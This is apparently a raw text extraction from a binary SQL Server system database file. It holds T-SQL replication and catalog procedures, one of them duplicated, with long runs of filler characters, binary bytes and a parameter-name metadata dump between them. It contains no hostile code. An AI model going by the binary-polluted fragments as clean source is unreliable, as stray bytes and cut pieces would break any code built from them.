            -- If @get_num_col is 1, we just need the number of columns in the partition.
            if (@get_num_col != 1) and (@colname = @key)
            begin
                select @colpos = 'c' + convert(varchar(4), @this_col)
                        ,@art_col = @num_col
                break
            end
        end
        fetch #hCColid into @this_col, @colname
    end
    close #hCColid
    deallocate #hCColid
    return 0
END
0L| D8:h/0є 8CREATE VIEW sys.dm_hadr_internal_ag_listener_addresses AS
	SELECT *
	FROM OpenRowset(TABLE DM_HADR_INTERNAL_AG_LISTENER_ADDRESSES)
0 8
create procedure sys.sp_check_constraints_rowset2
(
    @constraint_schema  sysname = null
)
as
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        CONSTRAINT_CATALOG  = db_name(),
        CONSTRAINT_SCHEMA   = schema_name(o.schema_id),
        CONSTRAINT_NAME     = o.name,
        CHECK_CLAUSE        = convert(nvarchar(4000), m.definition), -- keep the type as it used to be in Shiloh
        DESCRIPTION         = convert(nvarchar(1), null)
    from
        sys.all_objects o inner join
        sys.check_constraints m on (o.type = 'C ' and m.object_id = o.object_id)
    where
        @constraint_schema is null or schema_id(@constraint_schema) = o.schema_id -- check schema IDs

    order by 1,2,3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+AW`9<Wr80x@ G8
create procedure sys.sp_MSsubst_filter_names 
(
    @owner sysname, 
    @table sysname, 
    @filter_clause nvarchar(4000) output
)
as
begin
    set nocount on
    declare @retcode int
            ,@rplc_string nvarchar( 513 )
            ,@srch_string nvarchar(500) 
            ,@expansion int  -- BYTES data will be expanded/contracted by
            ,@subst_offset int -- CHARACTER OFFSET at which to perform string operations

    if @filter_clause is null or @table is null
    begin 
        -- error, @filter_clause cannot be null
        return 1
    end

    select @rplc_string = case when (@owner is null) then N'' else QUOTENAME(@owner) + N'.' end 
                + QUOTENAME(@table)
            ,@srch_string = N'<<TABLE>>'
            ,@subst_offset = 0
    select @expansion = datalength(@rplc_string) - datalength(@srch_string) 

    -- Note!  procedure is case insensitive
    select @subst_offset = charindex( @srch_string, upper(@filter_clause), @subst_offset )
    while( @subst_offset <> 0 )
    begin
        if datalength( @filter_clause ) + @expansion > 8000
        begin
            -- buffer overflow, return error
            return 1
        end
        else
        begin
            select @filter_clause = stuff( @filter_clause, @subst_offset, datalength( @srch_string ) / 2, @rplc_string )
                    ,@subst_offset = @subst_offset + @expansion / 2
        end
        select @subst_offset = charindex( @srch_string, upper(@filter_clause), @subst_offset )
    end

    return 0
end
0 8create procedure sys.sp_checkinvalidivarticle 
	@mode tinyint = 1 -- 0 upgrade, 1 snapshot
	,@publication sysname = NULL
as
begin
	set nocount on 
	
	if @mode = 0
	begin 
		IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) AND
		(ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0) AND
		(ISNULL(IS_MEMBER('db_owner'),0) = 0)
		BEGIN
			RAISERROR(18799, 16, -1) 
			RETURN (1)
		END
	end
	
	declare @artname nvarchar(524)
				,@objname nvarchar(524)
				,@pubname nvarchar(524)
				,@object_id int
				,@result int
				
    -- Only attempt to get an application lock if the caller is 
    -- db_owner as the intention of the lock is for coordinating between
    -- the snapshot agent (db_owner) and ddl replication (requires db_owner
    -- via sp_MSprep_exclusive)
    IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
    EXEC @result = sys.sp_getapplock @Resource = @publication, 
                @LockMode = N'Shared', 
                @LockOwner = N'Session', 
                @LockTimeout = 0,
                @DbPrincipal = N'db_owner' -- Note that we already require db_owner because of security check performed at the beginning of the procedure
	    IF @result < 0
	    BEGIN
	        RAISERROR(21385, 16, -1, @publication)
	        RETURN (1)
	    END
    END
				
	declare #hlogbasedarticles cursor local fast_forward for
		select distinct a.name, object_name(a.objid), p.name, a.objid
		from dbo.sysarticles a join dbo.syspublications p on a.pubid = p.pubid
			join syssubscriptions s on s.artid = a.artid 
		where objectproperty(objid, 'IsView') = 1 
			and ((@mode = 1 and p.name = @publication) --snapshot mode
				or (@mode = 0 and s.status in (2, 3)))-- 0 inactive, 1 subscribed, 2 active, 3 initiated

	open #hlogbasedarticles
	fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id

	while (@@fetch_status <> -1)
	begin			
		-- log-based iv article needs to have active cl index 
		if not exists(select * from sys.indexes where object_id = @object_id 
			and index_id = 1 and is_disabled = 0)
		begin 
			if (@mode = 0) 
			begin 
				raiserror (21857, 10, 1, @artname, @pubname, @objname)
				exec sys.sp_MSreinit_article 
					@publication = @pubname
					,@article = @artname
					,@need_new_snapshot = 1
					,@need_reinit_subscription = 1
					,@force_invalidate_snapshot = 1
					,@force_reinit_subscription = 1
					,@ignore_distributor_failure = 1 -- in case distribtor is not up, we don't want to fail upgrade
			end
			else if(@mode = 1)
			begin
				raiserror (21858, 16, 1, @artname, @pubname, @objname)
			end
		end
		fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id
	end
	close #hlogbasedarticles 
	deallocate #hlogbasedarticles    
	IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
        EXEC sys.sp_releaseapplock @Resource = @publication, @LockOwner = N'Session', @DbPrincipal = N'db_owner'
    END
	return 0
end    
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`p<+7840 8create procedure sys.sp_checkinvalidivarticle 
	@mode tinyint = 1 -- 0 upgrade, 1 snapshot
	,@publication sysname = NULL
as
begin
	set nocount on 
	
	if @mode = 0
	begin 
		IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0) AND
		(ISNULL(IS_SRVROLEMEMBER('dbcreator'),0) = 0) AND
		(ISNULL(IS_MEMBER('db_owner'),0) = 0)
		BEGIN
			RAISERROR(18799, 16, -1) 
			RETURN (1)
		END
	end
	
	declare @artname nvarchar(524)
				,@objname nvarchar(524)
				,@pubname nvarchar(524)
				,@object_id int
				,@result int
				
    -- Only attempt to get an application lock if the caller is 
    -- db_owner as the intention of the lock is for coordinating between
    -- the snapshot agent (db_owner) and ddl replication (requires db_owner
    -- via sp_MSprep_exclusive)
    IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
    EXEC @result = sys.sp_getapplock @Resource = @publication, 
                @LockMode = N'Shared', 
                @LockOwner = N'Session', 
                @LockTimeout = 0,
                @DbPrincipal = N'db_owner' -- Note that we already require db_owner because of security check performed at the beginning of the procedure
	    IF @result < 0
	    BEGIN
	        RAISERROR(21385, 16, -1, @publication)
	        RETURN (1)
	    END
    END
				
	declare #hlogbasedarticles cursor local fast_forward for
		select distinct a.name, object_name(a.objid), p.name, a.objid
		from dbo.sysarticles a join dbo.syspublications p on a.pubid = p.pubid
			join syssubscriptions s on s.artid = a.artid 
		where objectproperty(objid, 'IsView') = 1 
			and ((@mode = 1 and p.name = @publication) --snapshot mode
				or (@mode = 0 and s.status in (2, 3)))-- 0 inactive, 1 subscribed, 2 active, 3 initiated

	open #hlogbasedarticles
	fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id

	while (@@fetch_status <> -1)
	begin			
		-- log-based iv article needs to have active cl index 
		if not exists(select * from sys.indexes where object_id = @object_id 
			and index_id = 1 and is_disabled = 0)
		begin 
			if (@mode = 0) 
			begin 
				raiserror (21857, 10, 1, @artname, @pubname, @objname)
				exec sys.sp_MSreinit_article 
					@publication = @pubname
					,@article = @artname
					,@need_new_snapshot = 1
					,@need_reinit_subscription = 1
					,@force_invalidate_snapshot = 1
					,@force_reinit_subscription = 1
					,@ignore_distributor_failure = 1 -- in case distribtor is not up, we don't want to fail upgrade
			end
			else if(@mode = 1)
			begin
				raiserror (21858, 16, 1, @artname, @pubname, @objname)
			end
		end
		fetch #hlogbasedarticles into @artname, @objname, @pubname, @object_id
	end
	close #hlogbasedarticles 
	deallocate #hlogbasedarticles    
	IF (@mode = 1 and (is_member(N'db_owner') = 1))
    BEGIN
        EXEC sys.sp_releaseapplock @Resource = @publication, @LockOwner = N'Session', @DbP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elightweighttriggers
	@artid		uniqueidentifier
as
	set nocount on

	declare @tablenick			int
	declare @destination_object	sysname
	declare @guidstring			nchar(32)
	declare @oldtriggername		sysname
	declare @cmd				nvarchar(max)
	declare @qualified_name 	nvarchar(517)
	declare @retcode 			int
	declare @destination_owner	sysname
	declare @rowguidcol			sysname
	declare @objid				int
	declare @coltracked			bit
	declare @enumtype_str		nvarchar(100) -- Used for delete trigger
	declare @delete_tracking		bit

	select top 1 
			@tablenick= nickname,
			@coltracked= column_tracking,
			@destination_object= destination_object, 
			@destination_owner= destination_owner,
			@objid= objid,
			@delete_tracking=delete_tracking
		from dbo.sysmergearticles where artid = @artid

	if @destination_owner is NULL or @destination_owner=''
		select @qualified_name = quotename(@destination_object)
	else
		select @qualified_name = quotename(@destination_owner) + '.' + quotename(@destination_object)

    exec @retcode= sys.sp_MSguidtostr @artid, @guidstring out
    if @@error <> 0 or @retcode <> 0 return 1

	-- remove heavyweight triggers, if there are any
	set @oldtriggername= 'MSmerge_ins_' + @guidstring
	set @cmd= 'if object_id(''' + @oldtriggername + ''', ''TR'') is not null
					drop trigger ' + quotename(@oldtriggername)
	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1

	set @oldtriggername= 'MSmerge_upd_' + @guidstring
	set @cmd= 'if object_id(''' + @oldtriggername + ''', ''TR'') is not null
					drop trigger ' + quotename(@oldtriggername)
	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1

	set @oldtriggername= 'MSmerge_del_' + @guidstring
	set @cmd= 'if object_id(''' + @oldtriggername + ''', ''TR'') is not null
					drop trigger ' + quotename(@oldtriggername)
	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1
	
	-- remove lightweight triggers, if they are already here for some reason
	set @oldtriggername= 'MSmerge_ins_lws_' + @guidstring
	set @cmd= 'if object_id(''' + @oldtriggername + ''', ''TR'') is not null
					drop trigger ' + quotename(@oldtriggername) 
	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1

	set @oldtriggername= 'MSmerge_upd_lws_' + @guidstring
	set @cmd= 'if object_id(''' + @oldtriggername + ''', ''TR'') is not null
					drop trigger ' + quotename(@oldtriggername) 
	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1

	set @oldtriggername= 'MSmerge_del_lws_' + @guidstring
	set @cmd= 'if object_id(''' + @oldtriggername + ''', ''TR'') is not null
					drop trigger ' + quotename(@oldtriggername)
	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1

	-- remove download-only trigger, if it exists
	set @oldtriggername= 'MSmerge_downloadonly_' + @guidstring
	set @cmd= 'if object_id(''' + @oldtriggername + ''', ''TR'') is not null
					drop trigger ' + quotename(@oldtriggername)
	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1

    -- Determine the name of the rowguidcol.
    select @rowguidcol= name from sys.columns 
    	where object_id = @objid and 
    		  is_rowguidcol = 1

	-- Create the insert trigger
	exec @retcode= sys.sp_MScreatelightweightinsertorupdatetriggers
							@guidstring= @guidstring,
							@qualified_name= @qualified_name,
							@rowguidcol= @rowguidcol,
							@tablenick= @tablenick,
							@inserttrigger= 1

	if @@error <> 0 or @retcode <> 0 return 1
						
	-- Create the update trigger
	exec @retcode= sys.sp_MScreatelightweightinsertorupdatetriggers
							@guidstring= @guidstring,
							@qualified_name= @qualified_name,
							@rowguidcol= @rowguidcol,
							@tablenick= @tablenick,
							@inserttrigger= 0

	if @@error <> 0 or @retcode <> 0 return 1

	if 1=@coltracked
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_ChangedOnly'
	end
	else
	begin
		set @enumtype_str= '@COLUMNS_ENUMERATED_AllOnOtherReason'
	end

	-- Build up the command string for the delete trigger
	set @cmd=
'create trigger ' + quotename('MSmerge_del_lws_' + @guidstring) + ' on ' + @qualified_name + ' after delete
as
	set nocount on

	if sessionproperty(''replication_agent'') = 1 and (select trigger_nestlevel()) = 1
		return

	declare @baserows_count int
	select @baserows_count = count(*) from deleted 
	if @baserows_count=0
		return

	declare @metarows_count int
	declare @tablenick int
	declare @err int
	declare @METADATA_TYPE_DeleteLightweight tinyint'

	if 1=@coltracked
	begin
		set @cmd= @cmd + '
	declare @COLUMNS_ENUMERATED_ChangedOnly tinyint

	set @COLUMNS_ENUMERATED_ChangedOnly= 0'
	end
	else
	begin
			set @cmd= @cmd + '
	declare @COLUMNS_ENUMERATED_AllOnOtherReason tinyint

	set @COLUMNS_ENUMERATED_AllOnOtherReason= 2'
	end

	set @cmd= @cmd + '
	set @METADATA_TYPE_DeleteLightweight= 10

	set @tablenick= ' + cast(@tablenick as nvarchar(20))

	-- If delete_tracking is true update the entry in MSmerge_rowtrack
	-- if it is false then delete the entry from MSmerge_rowtrack.
	if @delete_tracking=1
	begin
		set @cmd= @cmd + '
	update rt
		set rt.changetype= @METADATA_TYPE_DeleteLightweight,
			rt.changedcolumns= null,
			rt.sync_cookie= null,
			rt.columns_enumeration= ' + @enumtype_str + ', 
			rt.changed= sys.fn_MSdayasnumber(getdate())
		from dbo.MSmerge_rowtrack as rt join deleted as d
		on rt.rowguid = d.rowguidcol and rt.tablenick = @tablenick

	select @err= @@error, @metarows_count= @@rowcount

	if @err <> 0
	begin
		raiserror (20041, 16, -1)
		goto Failure
	end

	-- If there were base data rows without corresponding metadata, then @baserows_count > @metarows_count.
	-- In that case, we need to insert rows into MSmerge_rowtrack
	if @baserows_count > @metarows_count
	begin
		insert into dbo.MSmerge_rowtrack 
		(
			tablenick, 
			rowguid, 
			changetype, 
			changed,
			changedcolumns,
			columns_enumeration
		)
		select
			@tablenick,
			rowguidcol,
			@METADATA_TYPE_DeleteLightweight,
			sys.fn_MSdayasnumber(getdate()),
			null,
			' + @enumtype_str + '
		from deleted d
		where not exists (select rowguid from dbo.MSmerge_rowtrack 
							where tablenick = @tablenick and rowguid = d.rowguidcol)
	end

	return

Failure:
	if @@trancount > 0
		rollback tran
	return
'
	end
	else
	begin
		set @cmd= @cmd + '
	delete rt
		from dbo.MSmerge_rowtrack as rt join deleted as d
		on rt.rowguid = d.rowguidcol and rt.tablenick = @tablenick

	select @err= @@error, @metarows_count= @@rowcount

	if @err <> 0
	begin
		raiserror (20041, 16, -1)
		goto Failure
	end

	return

Failure:
	if @@trancount > 0
		rollback tran
	return
'
	end	
		-- create delete trigger
		exec @retcode= sys.sp_executesql @cmd
		if @@error <> 0 or @retcode <> 0 return 1

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`)"2	@6
Y&@overwrite6
Y4@primary_database6
Y8@secondary_database6
Y4@secondary_server1\61\$@position61\*@update_mask6i@lcid6n*@publication6n&@publisher6n(@subscriber6n.@subscriber_db6}w4@publication_type6.@cursor_return6>@fulltext_catalog_name6(@table_name6$@hours6$@name6$,@session_type6(&@type_name6(*@type_schema6/,@group_number6/0@parameter_name6/0@procedure_name6/4@procedure_schema6@artid66@bGetTextImageInfo6$@ccoltype6@colid6"@colname6@objid6.@publishertypeX6f @object6LC,@table_schema6LC(@table_type6Y!name6Y!*principal_id6Y!8service_contract_id6
>@objid6
>:constraint_column_id6
>>constraint_column_name6
>0constraint_name6
>(schema_name6
>type66b@artid66b$@property66b@pubid66b@value6hr
2@active_end_date6hr@@active_end_time_of_day6hr6@active_start_date6hrD@active_start_time_of_day6hrB@dynamic_filter_hostname6hr<@dynamic_filter_login6hr8@frequency_interval6hrJ@frequency_recurrence_factor6hr
J@frequency_relative_interval6hr4@frequency_subday6hr	F@frequency_subday_interval6hr0@frequency_type6hr*@publication6hr&@publisher6hr,@publisher_db6o,@for_truncate6o0@max_xact_seqno6o&@publisher6o,@publisher_db6o,@publisher_id6bĶ(COLUMN_NAME6bĶ GRANTEE6bĶ GRANTOR6bĶ*IS_GRANTABLE6bĶ.PRIVILEGE_TYPE6bĶ,TABLE_CATALOG6bĶ&TABLE_NAME6bĶ*TABLE_SCHEMA6@type6g*@publication6.(@article_id6.,@publisher_db6.,@publisher_id6$@infotype6@login6$@password6 @server6Vu(database_id6Vu<downgrade_start_level6Vu>downgrade_target_level6Vu$script_id6Vu*script_level6Vu(script_name6Vu8upgrade_start_level6Vu	:upgrade_target_level6Vu version6R:@foreignkey_tab_name6R>@foreignkey_tab_schema6R4@pk_table_catalog6R.@pk_table_name6R2@pk_table_schema62&@allow_dts626@allow_queued_tran622@allow_sync_tran62>@autogen_sync_procs_id62
$@hr_admin62*@publication620@publication_id62&@publisher62	&@repl_freq62*@sync_method6h,@functionlist6h*@publication6Y0audit_file_path6Y0audit_file_size6Y"audit_id6Y<event_session_address6Yname6Ystatus6Y(status_desc6Y(status_time6 command64distribution_type6	"end_time6"error_id6,location_type6.operation_type6&request_id6$row_count6&start_time6status6&step_index6
6total_elapsed_time6@card60@distanceBuffer6"@gGeoObj64@tessellationMode6(@usDensity06(@usDensity16(@usDensity26(@usDensity360Cell_Attributes6 Cell_Id6SRID6!*@publication6!&@publisher6!,@publisher_db6!6@subscription_type6G*acquire_time6=@seed6=@start6s(@auto_start!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"pV6f2hJ$^<z`$xL"|XZ,`&x:tP$


hL
|
R
,

h@f:

t
@
		t	8	|<
rJL"X:NrF*xDX4&`}^)z!Q6p*@publication6:@create_ddl_triggers6@value6,@whattocreate6X(@batch_size6X@csn6X@objid6X(@stat_value6"@objname6"@results6U@artid6U6@destination_owner6UD@generate_subscriber_proc6U&@ownername6U$@procname6U@pubid6U&@tablename6"@artname6&@checkonly6&@next_seed6@pubid6@range6&@threshold6w$@rolename6W@pubid6W&@tablenick6@@artid6@&@publisher6@.@publishertype65F@conflictdetection_enabled65.@originator_db65
2@originator_node65B@peer_conflict_retention65D@peer_continue_onconflict65"@peer_db652@peer_db_version65	,@peer_histids65&@peer_node658@peer_originator_id65(@request_id6Y,@profile_name6N,@functionname6N&@isdynamic6N0@uses_host_name6N4@uses_suser_sname6q @nested6q*@publication6q&@publisher6q,@publisher_db6q @retval6q"@rowguid6q&@tablenick6c(@event_data6c*@policy_name6c*@synchronous6R0@conflict_table6R.@originator_id6R @row_id64@capture_instance6<@supports_net_changes262&@object_id6k,44@backup_threshold6k,4D@history_retention_period6k,4
4@last_backup_date6k,4<@last_backup_date_utc6k,4	4@last_backup_file6k,4@mode6k,40@monitor_server6k,44@primary_database6k,4(@primary_id6k,40@primary_server6k,42@threshold_alert6k,4B@threshold_alert_enabled68$object_id68,physical_name6P;$@col_type6P;$@nullable6P;"@ODBCVer6P;@scope6P;(@table_name6P;*@table_owner6P;2@table_qualifier68G"@queueid68G*@queueserver6|Q&@anonymous6|Q&@preexists6|Q*@publication6|Q&@publisher6|Q*@publisherDB6|Q&@sync_type6܍V"@article6W*@lastrowguid6W"@maxrows!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!